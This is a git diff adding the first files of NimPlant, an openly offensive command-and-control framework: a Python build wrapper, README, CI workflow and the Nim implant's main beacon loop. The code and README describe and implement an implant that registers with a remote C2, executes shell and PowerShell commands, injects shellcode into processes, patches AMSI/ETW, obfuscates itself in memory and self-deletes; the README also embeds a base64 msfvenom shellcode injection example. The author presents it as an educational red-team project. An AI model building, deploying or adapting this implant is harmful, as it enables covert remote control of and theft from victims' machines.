diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 0000000..e27d054 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,26 @@ +--- +name: Bug report +about: Report a bug or unexpected behavior in NimPlant +title: '' +labels: '' +assignees: '' + +--- + +- [ ] This issue is not about OPSEC or bypassing defensive products +- [ ] I have followed the steps in the [Troubleshooting section](https://github.com/chvancooten/NimPlant/blob/main/README.md#troubleshooting) + +--- + +**OS and version:** +**Python version:** +**Nim version:** +**Using Docker:** Yes/No + +--- + +**Issue Description** + +--- + +**Screenshots** diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md new file mode 100644 index 0000000..a8655e1 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.md @@ -0,0 +1,14 @@ +--- +name: Feature request +about: Suggest an addition or cool new feature for NimPlant +title: '' +labels: '' +assignees: '' + +--- + +- [ ] This issue is not about OPSEC or bypassing defensive products + +--- + +**Feature Description** diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml new file mode 100644 index 0000000..ed9ec79 --- /dev/null +++ b/.github/workflows/main.yml @@ -0,0 +1,56 @@ +name: Test NimPlant builds + +on: + push: + branches: [ main ] + pull_request: + branches: [ main ] + workflow_dispatch: + +jobs: + build-nimplant: + strategy: + max-parallel: 1 + fail-fast: false + matrix: + os: [windows-latest, ubuntu-latest] + runs-on: ${{ matrix.os }} + steps: + - name: Checkout code into workspace directory + uses: actions/checkout@v3 + + - name: Install Python 3.10 + uses: actions/setup-python@v1 + with: + python-version: '3.10' + + - name: Install Nim 1.6.10 + uses: iffy/install-nim@v4 + with: + version: binary:1.6.10 + + - name: Install Python dependencies for NimPlant + run: pip install -r ./server/requirements.txt + + - name: Install Nim dependencies for NimPlant + working-directory: ./client + run: nimble install -d -y + + - name: Install mingw-w64 on Linux + if: matrix.os == 'ubuntu-latest' + uses: egor-tensin/setup-mingw@v2 + with: + platform: x64 + + - name: Copy example configuration + run: cp config.toml.example config.toml + shell: bash + + - name: Compile NimPlant + run: python NimPlant.py compile all + + - name: Check if all files compiled correctly + uses: andstor/file-existence-action@v2 + with: + fail: true + files: "./client/bin/NimPlant.bin, ./client/bin/NimPlant.dll, ./client/bin/NimPlant.exe, ./client/bin/NimPlant-selfdelete.exe" diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..6af12a5 --- /dev/null +++ b/.gitignore @@ -0,0 +1,13 @@ +__pycache__/ +.logs +.vscode +.xorkey +*.bin +*.db +*.dll +*.exe +*.pyc +bin/ +config.toml +server/downloads/ +server/uploads/ \ No newline at end of file diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..97c82cb --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2022 Cas van Cooten (@chvancooten) + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/NimPlant.py b/NimPlant.py new file mode 100644 index 0000000..47c1428 --- /dev/null +++ b/NimPlant.py @@ -0,0 +1,248 @@ +#!/usr/bin/python3 + +# ----- +# +# NimPlant - A light-weight stage 1 implant and C2 written in Nim and Python +# By Cas van Cooten (@chvancooten) +# +# This is a wrapper script to configure and generate NimPlant and its C2 server +# +# ----- + +import os +import random +import time +import toml +from pathlib import Path +from client.dist.srdi.ShellcodeRDI import * + + +def print_banner(): + print( + """ + * *(# # + ** **(## ## + ######## ( ******** + ####(###########************,**** + # ######## ******** * + .### *** + .######## ******** + #### ### *** **** + ######### ### *** ********* + ####### #### ## ** **** ******* + ##### ## * ** ***** + ###### #### ##*** **** .****** + ############### *************** + ########## ********** + #########********** + #######******** + _ _ _ ____ _ _ + | \ | (_)_ __ ___ | _ \| | __ _ _ __ | |_ + | \| | | '_ ` _ \| |_) | |/ _` | '_ \| __| + | |\ | | | | | | | __/| | (_| | | | | |_ + |_| \_|_|_| |_| |_|_| |_|\__,_|_| |_|\__| + + A light-weight stage 1 implant and C2 written in Nim and Python + By Cas van Cooten (@chvancooten) + """ + ) + + +def print_usage(): + print( + """ + Usage: + python3 NimPlant.py command [required args] + + Acceptable commands: + compile [exe / exe-selfdelete / dll / raw / all] + server + """ + ) + + +def getXorKey(force_new=False): + if os.path.isfile(".xorkey") and force_new == False: + file = open(".xorkey", "r") + xor_key = int(file.read()) + else: + print("Generating unique XOR key for pre-crypto operations...") + print( + "NOTE: Make sure the '.xorkey' file matches if you run the server elsewhere!" + ) + xor_key = random.randint(0, 2147483647) + file = open(".xorkey", "w") + file.write(str(xor_key)) + + return xor_key + + +def compile_implant(implant_type, binary_type, xor_key): + if implant_type == "nim-debug": + message = "NimPlant with debugging enabled" + compile_function = compile_nim_debug + else: + message = "NimPlant" + compile_function = compile_nim + + if binary_type == "exe": + print(f"Compiling .exe for {message}") + compile_function("exe", xor_key) + elif binary_type == "exe-selfdelete": + print(f"Compiling self-deleting .exe for {message}") + compile_function("exe-selfdelete", xor_key) + elif binary_type == "dll": + print(f"Compiling .dll for {message}") + compile_function("dll", xor_key) + elif binary_type == "raw" or binary_type == "bin": + print(f"Compiling .bin for {message}") + compile_function("raw", xor_key) + else: + print(f"Compiling .exe for {message}") + compile_function("exe", xor_key) + print(f"Compiling self-deleting .exe for {message}") + compile_function("exe-selfdelete", xor_key) + print(f"Compiling .dll for {message}") + compile_function("dll", xor_key) + print(f"Compiling .bin for {message}") + compile_function("raw", xor_key) + + +def compile_nim_debug(binary_type, _): + if binary_type == "exe-selfdelete": + print("ERROR: Cannot compile self-deleting NimPlant with debugging enabled!") + print( + " Please test with the regular executable first, then compile the self-deleting version." + ) + print(" Skipping this build...") + return + + compile_nim(binary_type, _, debug=True) + + +def compile_nim(binary_type, xor_key, debug=False): + # Parse config for certain compile-time tasks + configPath = os.path.abspath( + os.path.join(os.path.dirname(sys.argv[0]), "config.toml") + ) + config = toml.load(configPath) + + # Enable Ekko sleep mask if defined in config.toml, but only for self-contained executables + sleep_mask_enabled = config["nimplant"]["sleepMask"] + if sleep_mask_enabled and binary_type not in ["exe", "exe-selfdelete"]: + print(" ERROR: Ekko sleep mask is only supported for executables!") + print(f" Compiling {binary_type} without sleep mask...") + sleep_mask_enabled = False + + # Construct compilation command + if binary_type == "exe" or binary_type == "exe-selfdelete" or binary_type == "dll": + compile_command = ( + f"nim c --hints:off --warnings:off -d:xor_key={xor_key} -d:release -d:strip" + ) + + if debug: + compile_command = compile_command + " -d:verbose" + else: + compile_command = compile_command + " --app:gui" + + if os.name != "nt": + compile_command = compile_command + " -d=mingw" + + if binary_type == "exe": + compile_command = compile_command + " -o:client/bin/NimPlant.exe" + + if binary_type == "exe-selfdelete": + compile_command = ( + compile_command + " -o:client/bin/NimPlant-selfdelete.exe -d:selfdelete" + ) + + if binary_type == "dll": + compile_command = ( + compile_command + + " -o:client/bin/NimPlant.dll --app=lib --nomain -d:exportDll --passL:-Wl,--dynamicbase --gc:orc" + ) + + if sleep_mask_enabled: + compile_command = compile_command + " -d:sleepmask" + + # Allow risky commands only if defined in config.toml + risky_mode_allowed = config["nimplant"]["riskyMode"] + if risky_mode_allowed: + compile_command = compile_command + " -d:risky" + + compile_command = compile_command + " client/NimPlant.nim" + os.system(compile_command) + + elif binary_type == "raw": + if not os.path.isfile("client/bin/NimPlant.dll"): + compile_nim("dll", xor_key) + else: + # Compile a new DLL NimPlant if no recent version exists + file_mod_time = os.stat("client/bin/NimPlant.dll").st_mtime + last_time = (time.time() - file_mod_time) / 60 + + if not last_time < 5: + compile_nim("dll", xor_key) + + # Convert DLL to PIC using sRDI + dll = open("client/bin/NimPlant.dll", "rb").read() + shellcode = ConvertToShellcode(dll, HashFunctionName("Update"), flags=0x5) + with open("client/bin/NimPlant.bin", "wb") as f: + f.write(shellcode) + + +if __name__ == "__main__": + print_banner() + + if not os.path.isfile("config.toml"): + print( + "ERROR: No configuration file found. Please create 'config.toml' based on the example configuration before use." + ) + exit(1) + + if len(sys.argv) > 1: + if sys.argv[1] == "compile": + + if len(sys.argv) > 3 and sys.argv[3] in ["nim", "nim-debug"]: + implant = sys.argv[3] + else: + implant = "nim" + + if len(sys.argv) > 2 and sys.argv[2] in [ + "exe", + "exe-selfdelete", + "dll", + "raw", + "bin", + "all", + ]: + binary = sys.argv[2] + else: + binary = "all" + + if "rotatekey" in sys.argv: + xor_key = getXorKey(True) + else: + xor_key = getXorKey() + + compile_implant(implant, binary, xor_key) + + print("Done compiling! You can find compiled binaries in 'client/bin/'.") + + elif sys.argv[1] == "server": + xor_key = getXorKey() + from server.server import main + + try: + name = sys.argv[2] + main(xor_key, name) + except: + main(xor_key, "") + + else: + print_usage() + print("ERROR: Unrecognized command.") + exit(1) + else: + print_usage() + exit(1) diff --git a/README.md b/README.md new file mode 100644 index 0000000..086af6f --- /dev/null +++ b/README.md @@ -0,0 +1,265 @@ +
+ + + + +

NimPlant - A light first-stage C2 implant written in Nim and Python

+
+ +[![GitHub Workflow Status](https://img.shields.io/github/actions/workflow/status/chvancooten/NimPlant/main.yml?label=Build)](https://github.com/chvancooten/NimPlant/actions) +[![PRs Welcome](https://img.shields.io/badge/Contributions-Welcome-brightgreen.svg)](http://makeapullrequest.com) + +_By **Cas van Cooten** ([@chvancooten](https://twitter.com/chvancooten)), with special thanks to some awesome folks:_ +- _Fabian Mosch ([@S3cur3Th1sSh1t](https://twitter.com/ShitSecure)) for sharing dynamic invocation implementation in Nim and the Ekko sleep mask function_ +- _snovvcrash ([@snovvcrash](https://github.com/snovvcrash)) for adding the initial version of `execute-assembly` & self-deleting implant option_ +- _Furkan Göksel ([@frkngksl](https://github.com/frkngksl)) for his work on [NiCOFF](https://github.com/frkngksl/NiCOFF) and Guillaume Caillé ([@OffenseTeacher](https://github.com/offenseteacher)) for the initial implementation of `inline-execute`_ +- _Kadir Yamamoto ([@yamakadi](https://github.com/yamakadi)) for the design work, initial Vue.JS front-end and rusty nimplant, part of an [older branch](https://github.com/chvancooten/NimPlant/tree/rust-implant-and-old-ui) (unmaintained)_ +- _Mauricio Velazco ([@mvelazco](https://twitter.com/mvelazco)), Dylan Makowski ([@AnubisOnSec](https://twitter.com/AnubisOnSec)), Andy Palmer ([@pivotal8ytes](github.com/pivotal8ytes)), Medicus Riddick ([@retsdem22](https://twitter.com/retsdem22)), Spencer Davis ([@nixbyte](https://twitter.com/nixbyte)), and Florian Roth ([@cyb3rops](https://twitter.com/cyb3rops)), for their efforts in testing the pre-release and contributing [detections](https://github.com/chvancooten/NimPlant/tree/main/detection)_ + +If NimPlant has been useful to you and/or you like my work, your support is always welcome: + +[![Docker Image Size Badge](https://img.shields.io/badge/%F0%9F%8D%BA-Buy%20me%20a%20beer-orange)](https://www.buymeacoffee.com/chvancooten) + +# Feature Overview + +- Lightweight and configurable implant written in the Nim programming language +- Pretty web GUI that will make you look cool during all your ops +- Encryption and compression of all traffic by default, obfuscates static strings in implant artefacts +- Support for several implant types, including native binaries (exe/dll), shellcode or self-deleting executables +- Wide selection of commands focused on early-stage operations including local enumeration, file or registry management, and web interactions +- Easy deployment of more advanced functionality or payloads via `inline-execute`, `shinject` (using dynamic invocation), or in-thread `execute-assembly` +- Support for operations on any platform, implant only targeting x64 Windows for now +- Comprehensive logging of all interactions and file operations +- Much, much more, just see below :) + +# Instructions + +## Installation + +- Install Nim and Python3 on your OS of choice (installation via `choosenim` is recommended, as `apt` doesn't always have the latest version). +- Install required packages using the Nimble package manager (`cd client; nimble install -d`). +- Install `requirements.txt` from the server folder (`pip3 install -r server/requirements.txt`). +- If you're on Linux or MacOS, install the `mingw` toolchain for your platform (`brew install mingw-w64` or `apt install mingw-w64`). + +## Getting Started + +### Configuration + +Before using NimPlant, create the configuration file `config.toml`. It is recommended to copy `config.toml.example` and work from there. + +An overview of settings is provided below. + +| Category | Setting | Description | +|----------|--------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| server | ip | The IP that the C2 web server (including API) will listen on. Recommended to use 127.0.0.1, only use 0.0.0.0 when you have setup proper firewall or routing rules to protect the C2. | +| server | port | The port that the C2 web server (including API) will listen on. | +| listener | type | The listener type, either HTTP or HTTPS. HTTPS options configured below. | +| listener | sslCertPath | The local path to a HTTPS certificate file (e.g. requested via LetsEncrypt CertBot or self-signed). Ignored when listener type is 'HTTP'. | +| listener | sslKeyPath | The local path to the corresponding HTTPS certificate private key file. Password will be prompted when running the NimPlant server if set. Ignored when listener type is 'HTTP'. | +| listener | hostname | The listener hostname. If not empty (""), NimPlant will use this hostname to connect. Make sure you are properly routing traffic from this host to the NimPlant listener port. | +| listener | ip | The listener IP. Required even if 'hostname' is set, as it is used by the server to register on this IP. | +| listener | port | The listener port. Required even if 'hostname' is set, as it is used by the server to register on this port. | +| listener | registerPath | The URI path that new NimPlants will register with. | +| listener | taskPath | The URI path that NimPlants will get tasks from. | +| listener | resultPath | The URI path that NimPlants will submit results to. | +| nimplant | riskyMode | Compile NimPlant with support for risky commands. Operator discretion advised. Disabling will remove support for `execute-assembly`, `powershell`, `shell` and `shinject`. | +| nimplant | sleepMask | Whether or not to use Ekko sleep mask instead of regular sleep calls for Nimplants. Only works with regular executables for now! | +| nimplant | sleepTime | The default sleep time in seconds for new NimPlants. | +| nimplant | sleepJitter | The default jitter in percent for new NimPlants. | +| nimplant | killDate | The kill date for Nimplants (format: yyyy-MM-dd). Nimplants will exit if this date has passed. | +| nimplant | userAgent | The user-agent used by NimPlants. The server also uses this to validate NimPlant traffic, so it is recommended to choose a UA that is inconspicuous, but not too prevalent. | + +### Compilation + +Once the configuration is to your liking, you can generate NimPlant binaries to deploy on your target. Currently, NimPlant supports `.exe`, `.dll`, and `.bin` binaries for (self-deleting) executables, libraries, and position-independent shellcode (through sRDI), respectively. To generate, run `python NimPlant.py compile` followed by your preferred binaries (`exe`, `exe-selfdelete`, `dll`, `raw`, or `all`) and, optionally, the implant type (`nim`, or `nim-debug`). Files will be written to `client/bin/`. + +You may pass the `rotatekey` argument to generate and use a new XOR key during compilation. + +**Notes**: +- NimPlant only supports x64 at this time! +- The entrypoint for DLL files is `Update`, which is triggered by DllMain for all entrypoints. This means you can use e.g. `rundll32 .\NimPlant.dll,Update` to trigger, or use your LOLBIN of choice to sideload it (may need some modifications in `client/NimPlant.nim`) + +``` +PS C:\NimPlant> python .\NimPlant.py compile all + + * *(# # + ** **(## ## + ######## ( ******** + ####(###########************,**** + # ######## ******** * + .### *** + .######## ******** + #### ### *** **** + ######### ### *** ********* + ####### #### ## ** **** ******* + ##### ## * ** ***** + ###### #### ##*** **** .****** + ############### *************** + ########## ********** + #########********** + #######******** + _ _ _ ____ _ _ + | \ | (_)_ __ ___ | _ \| | __ _ _ __ | |_ + | \| | | '_ ` _ \| |_) | |/ _` | '_ \| __| + | |\ | | | | | | | __/| | (_| | | | | |_ + |_| \_|_|_| |_| |_|_| |_|\__,_|_| |_|\__| + + A light-weight stage 1 implant and C2 based on Nim and Python + By Cas van Cooten (@chvancooten) + +Compiling .exe for NimPlant +Compiling self-deleting .exe for NimPlant +Compiling .dll for NimPlant +Compiling .bin for NimPlant + +Done compiling! You can find compiled binaries in 'client/bin/'. +``` + +### Compilation with Docker + +The Docker image [chvancooten/nimbuild](https://hub.docker.com/r/chvancooten/nimbuild) can be used to compile NimPlant binaries. Using Docker is easy and avoids dependency issues, as all required dependencies are pre-installed in this container. + +To use it, install Docker for your OS and start the compilation in a container as follows. + +```bash +docker run --rm -v `pwd`:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPlant.py compile all +``` + +### Usage + +Once you have your binaries ready, you can spin up your NimPlant server! No additional configuration is necessary as it reads from the same `config.toml` file. To launch a server, simply run `python NimPlant.py server` (with sudo privileges if running on Linux). You can use the console once a Nimplant checks in, or access the web interface at `http://localhost:31337` (by default). + +**Notes**: +- If you are running your NimPlant server externally from the machine where binaries are compiled, make sure that both `config.toml` and `.xorkey` match. If not, NimPlant will not be able to connect. +- If NimPlant cannot connect to a server or loses connection, it will retry 5 times with an exponential backoff time before attempting re-registration. If it fails to register 5 more times (same backoff logic), it will kill itself. The backoff triples the sleep time on each failed attempt. For example, if the sleep time is 10 seconds, it will wait 10, then 30 (3^1 * 10), then 90 (3^2 * 10), then 270 (3^3 * 10), then 810 seconds before giving up (these parameters are hardcoded but can be changed in `client/NimPlant.nim`). +- Logs are stored in the `server/.logs` directory. Each server instance creates a new log folder, and logs are split per console/nimplant session. +- Nimplant and server details are stored in an SQLite database at `server/nimplant.db`. This data is also used to recover Nimplants after a server restart. +- The web frontend or API do not support authentication, so **do _NOT_ expose the frontend port to any untrusted networks without a secured reverse proxy!** + +``` +PS C:\NimPlant> python .\NimPlant.py server + + * *(# # + ** **(## ## + ######## ( ******** + ####(###########************,**** + # ######## ******** * + .### *** + .######## ******** + #### ### *** **** + ######### ### *** ********* + ####### #### ## ** **** ******* + ##### ## * ** ***** + ###### #### ##*** **** .****** + ############### *************** + ########## ********** + #########********** + #######******** + _ _ _ ____ _ _ + | \ | (_)_ __ ___ | _ \| | __ _ _ __ | |_ + | \| | | '_ ` _ \| |_) | |/ _` | '_ \| __| + | |\ | | | | | | | __/| | (_| | | | | |_ + |_| \_|_|_| |_| |_|_| |_|\__,_|_| |_|\__| + + A light-weight stage 1 implant and C2 written in Nim and Python + By Cas van Cooten (@chvancooten) + +[06/02/2023 10:47:23] Started management server on http://127.0.0.1:31337. +[06/02/2023 10:47:23] Started NimPlant listener on https://0.0.0.0:443. CTRL-C to cancel waiting for NimPlants. +``` + +This will start both the C2 API and management web server (in the example above at `http://127.0.0.1:31337`) and the NimPlant listener (in the example above at `https://0.0.0.0:443`). Once a NimPlant checks in, you can use both the web interface and the console to send commands to NimPlant. + +Available commands are as follows. You can get detailed help for any command by typing `help [command]`. Certain commands denoted with (GUI) can be configured graphically when using the web interface, this can be done by calling the command without any arguments. + +``` +Command arguments shown as [required] . +Commands with (GUI) can be run without parameters via the web UI. + +cancel Cancel all pending tasks. +cat [filename] Print a file's contents to the screen. +cd [directory] Change the working directory. +clear Clear the screen. +cp [source] [destination] Copy a file or directory. +curl [url] Get a webpage remotely and return the results. +download [remotefilepath] Download a file from NimPlant's disk to the NimPlant server. +env Get environment variables. +execute-assembly (GUI) [localfilepath] Execute .NET assembly from memory. AMSI/ETW patched by default. Loads the CLR. +exit Exit the server, killing all NimPlants. +getAv List Antivirus / EDR products on target using WMI. +getDom Get the domain the target is joined to. +getLocalAdm List local administrators on the target using WMI. +getpid Show process ID of the currently selected NimPlant. +getprocname Show process name of the currently selected NimPlant. +help Show this help menu or command-specific help. +hostname Show hostname of the currently selected NimPlant. +inline-execute (GUI) [localfilepath] [entrypoint] Execute Beacon Object Files (BOF) from memory. +ipconfig List IP address information of the currently selected NimPlant. +kill Kill the currently selected NimPlant. +list Show list of active NimPlants. +listall Show list of all NimPlants. +ls List files and folders in a certain directory. Lists current directory by default. +mkdir [directory] Create a directory (and its parent directories if required). +mv [source] [destination] Move a file or directory. +nimplant Show info about the currently selected NimPlant. +osbuild Show operating system build information for the currently selected NimPlant. +powershell [command] Execute a PowerShell command in an unmanaged runspace. Loads the CLR. +ps List running processes on the target. Indicates current process. +pwd Get the current working directory. +reg [query|add] [path] Query or modify the registry. New values will be added as REG_SZ. +rm [file] Remove a file or directory. +run [binary] Run a binary from disk. Returns output but blocks NimPlant while running. +select [id] Select another NimPlant. +shell [command] Execute a shell command. +shinject [targetpid] [localfilepath] Load raw shellcode from a file and inject it into the specified process's memory space using dynamic invocation. +sleep [sleeptime] Change the sleep time of the current NimPlant. +upload (GUI) [localfilepath] Upload a file from the NimPlant server to the victim machine. +wget [url] Download a file to disk remotely. +whoami Get the user ID that NimPlant is running as. +``` +#### Using Beacon Object Files (BOFs) + +**NOTE: BOFs are volatile by nature, and running a faulty BOF or passing wrong arguments or types WILL crash your NimPlant session! Make sure to test BOFs before deploying!** + +NimPlant supports the in-memory loading of BOFs thanks to the great [NiCOFF project](https://github.com/frkngksl/NiCOFF). Running a bof requires a local compiled BOF object file (usually called something like `bofname.x64.o`), an entrypoint (commonly `go`), and a list of arguments with their respective argument types. Arguments are passed as a space-seperated `arg argtype` pair. + +Argument are given in accordance with the "Zzsib" format, so can be either `string` (alias: `z`), `wstring` (or `Z`), `integer` (aliases: `int` or `i`), `short` (`s`), or `binary` (`bin` or `b`). Binary arguments can be a raw binary string or base64-encoded, the latter is recommended to avoid bad characters. + +Some examples of usage (using the magnificent TrustedSec BOFs [[1](https://github.com/trustedsec/CS-Situational-Awareness-BOF), [2](https://github.com/trustedsec/CS-Remote-OPs-BOF)] as an example) are given below. Note that `inline-execute` (without arguments) can be used to configure the command graphically in the GUI. + +```bash +# Run a bof without arguments +inline-execute ipconfig.x64.o go + +# Run the `dir` bof with one wide-string argument specifying the path to list, quoting optional +inline-execute dir.x64.o go "C:\Users\victimuser\desktop" Z + +# Run an injection BOF specifying an integer for the process ID and base64-encoded shellcode as bytes +# Example shellcode generated with the command: msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f base64 +inline-execute /linux/path/to/createremotethread.x64.o go 1337 i /EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA b + +# Depending on the BOF, sometimes argument parsing is a bit different using NiCOFF +# Make sure arguments are passed as expected by the BOF (can usually be retrieved from .CNA or BOF source) +# An example: +inline-execute enum_filter_driver.x64.o go # CRASHES - default null handling does not work +inline-execute enum_filter_driver.x64.o go "" z # OK - arguments are passed as expected +``` + +#### Push Notifications +By default, NimPlant support push notifications via the `notify_user()` hook defined in `server/util/notify.py`. By default, it implements a simple Telegram notification which requires the `TELEGRAM_CHAT_ID` and `TELEGRAM_BOT_TOKEN` environment variables to be set before it will fire. Of course, the code can be easily extended with one's own push notification functionality. The `notify_user()` hook is called when a new NimPlant checks in, and receives an object with NimPlant details, which can then be pushed as desired. + +#### Building the frontend +As a normal user, you shouldn't have to modify or re-build the UI that comes with Nimplant. However, if you so desire to make changes, install NodeJS and run an `npm install` while in the `ui` directory. Then run `ui/build-ui.py`. This will take care of pulling the packages, compiling the Next.JS frontend, and placing the files in the right location for the Nimplant server to use them. + +#### A word on production use and OPSEC +NimPlant was developed as a learning project and released to the public for transparency and educational purposes. For a large part, it makes no effort to hide its intentions. Additionally, protections have been put in place to prevent abuse. In other words, **do NOT use NimPlant in production engagements as-is without thorough source code review and modifications**! Also remember that, as with any C2 framework, the OPSEC fingerprint of running certain commands should be considered before deployment. NimPlant can be compiled without OPSEC-risky commands by setting `riskyMode` to `false` in `config.toml`. + +## Troubleshooting +There are many reasons why Nimplant may fail to compile or run. If you encounter issues, please try the following (in order): + +- Ensure you followed the steps as described in the 'Installation' section above, double check that all dependencies are installed and the versions match +- Ensure you followed the steps as described in the 'Compilation' section above, and that you have used the `chvancooten/nimbuild` docker container to rule out any dependency issues +- Check the logs in the `server/.logs` directory for any errors +- Try the `nim-debug` compilation mode to compile with console and debug messages (.exe only) to see if any error messages are returned +- Try compiling from another OS or with another toolchain to see if the same error occurs +- If all of the above fails, submit an issue. Make sure to include the appropriate build information (OS, nim/python versions, dependency versions) and the outcome of the troubleshooting steps above. **Incomplete issues may be closed without notice.** diff --git a/client/NimPlant.nim b/client/NimPlant.nim new file mode 100644 index 0000000..f280330 --- /dev/null +++ b/client/NimPlant.nim @@ -0,0 +1,201 @@ +#[ + + NimPlant - A light stage-one payload written in Nim + By Cas van Cooten (@chvancooten) + +]# + +from random import rand +from strutils import parseBool, parseInt, split +from math import `^` +import tables, times +import util/[functions, strenc, webClient, winUtils] + +when defined sleepmask: + import util/ekko +else: + from os import sleep + +when defined selfdelete: + import util/selfDelete + +var riskyMode = false +when defined risky: + riskyMode = true + +# Parse the configuration at compile-time +let CONFIG : Table[string, string] = parseConfig() + +const version: string = "NimPlant v1.0" +proc runNp() : void = + echo version + + # Get configuration information and create Listener object + var listener = Listener( + killDate: CONFIG[obf("killDate")], + listenerHost: CONFIG[obf("hostname")], + listenerIp: CONFIG[obf("listenerIp")], + listenerPort: CONFIG[obf("listenerPort")], + listenerType: CONFIG[obf("listenerType")], + registerPath: CONFIG[obf("listenerRegPath")], + resultPath: CONFIG[obf("listenerResPath")], + sleepTime: parseInt(CONFIG[obf("sleepTime")]), + sleepJitter: parseInt(CONFIG[obf("sleepJitter")]) / 100, + taskPath: CONFIG[obf("listenerTaskPath")], + userAgent: CONFIG[obf("userAgent")] + ) + + # Set the number of times NimPlant will try to register or connect before giving up + let maxAttempts = 5 + var + currentAttempt = 0 + sleepMultiplier = 1 # For exponential backoff + + # Handle exponential backoff for failed registrations and check-ins + proc handleFailedRegistration() : void = + sleepMultiplier = 3^currentAttempt + inc currentAttempt + + if currentAttempt > maxAttempts: + when defined verbose: + echo obf("DEBUG: Hit maximum retry count, giving up.") + quit(0) + + when defined verbose: + echo obf("DEBUG: Failed to register with server. Attempt: ") & $currentAttempt & obf("/") & $maxAttempts & obf(".") + + proc handleFailedCheckin() : void = + sleepMultiplier = 3^currentAttempt + inc currentAttempt + + if currentAttempt > maxAttempts: + when defined verbose: + echo obf("DEBUG: Hit maximum retry count, attempting re-registration.") + currentAttempt = 0 + sleepMultiplier = 1 + listener.initialized = false + listener.registered = false + else: + when defined verbose: + echo obf("DEBUG: Server connection lost. Attempt: ") & $currentAttempt & obf("/") & $maxAttempts & obf(".") + + + # Main loop + while true: + var + cmdGuid : string + cmd : string + args : seq[string] + output : string + timeToSleep : int + + # Check if the kill timer expired, announce kill if registered + # We add a day to make sure the specified date is still included + if parse(listener.killDate, "yyyy-MM-dd") + initDuration(days = 1) < now(): + if listener.cryptKey != "": + listener.killSelf() + + when defined verbose: + echo obf("DEBUG: Kill timer expired. Goodbye cruel world!") + + quit(0) + + # Attempt to register with server if no successful registration has occurred + if not listener.registered: + try: + if not listener.initialized: + # Initialize and check succesful initialization + listener.init() + if not listener.initialized: + when defined verbose: + echo obf("DEBUG: Failed to initialize listener.") + handleFailedRegistration() + + # Register and check succesful registration + if listener.initialized: + listener.postRegisterRequest(getIntIp(), getUsername(), getHost(), getWindowsVersion(), getProcId(), getProcName(), riskyMode) + if not listener.registered: + when defined verbose: + echo obf("DEBUG: Failed to register with server.") + handleFailedRegistration() + + # Succesful registration, reset the sleep modifier if set and enter main loop + if listener.registered: + when defined verbose: + echo obf("DEBUG: Successfully registered with server as ID: ") & $listener.id & obf(".") + + currentAttempt = 0 + sleepMultiplier = 1 + + except: + handleFailedRegistration() + + # Otherwise, process commands from registered server + else: + # Check C2 server for an active command + (cmdGuid, cmd, args) = listener.getQueuedCommand() + + # If a connection error occured, the server went down or restart - drop back into initial registration loop + if cmd == obf("NIMPLANT_CONNECTION_ERROR"): + cmd = "" + handleFailedCheckin() + else: + currentAttempt = 0 + sleepMultiplier = 1 + + # If a command was found, execute it + if cmd != "": + when defined verbose: + echo obf("DEBUG: Got command '") & $cmd & obf("' with args '") & $args & obf("'.") + + # Handle commands that directly impact the listener object here + if cmd == obf("sleep"): + try: + if len(args) == 2: + listener.sleepTime = parseInt(args[0]) + var jit = parseInt(args[1]) + listener.sleepJitter = if jit < 0: 0.0 elif jit > 100: 1.0 else: jit / 100 + else: + listener.sleepTime = parseInt(args[0]) + + output = obf("Sleep time changed to ") & $listener.sleepTime & obf(" seconds (") & $(toInt(listener.sleepJitter*100)) & obf("% jitter).") + except: + output = obf("Invalid sleep time.") + elif cmd == obf("kill"): + quit(0) + + # Otherwise, parse commands via 'functions.nim' + else: + output = listener.parseCmd(cmd, cmdGuid, args) + + if output != "": + listener.postCommandResults(cmdGuid, output) + + # Sleep the main thread for the configured sleep time and a random jitter %, including an exponential backoff multiplier + timeToSleep = sleepMultiplier * toInt(listener.sleepTime.float - (listener.sleepTime.float * rand(-listener.sleepJitter..listener.sleepJitter))) + + when defined sleepmask: + # Ekko Sleep obfuscation, encrypts the PE memory, set's permissions to RW and sleeps for the specified time + when defined verbose: + echo obf("DEBUG: Sleeping for ") & $timeToSleep & obf(" seconds using Ekko sleep mask.") + ekkoObf(timeToSleep * 1000) + else: + when defined verbose: + echo obf("DEBUG: Sleeping for ") & $timeToSleep & obf(" seconds.") + 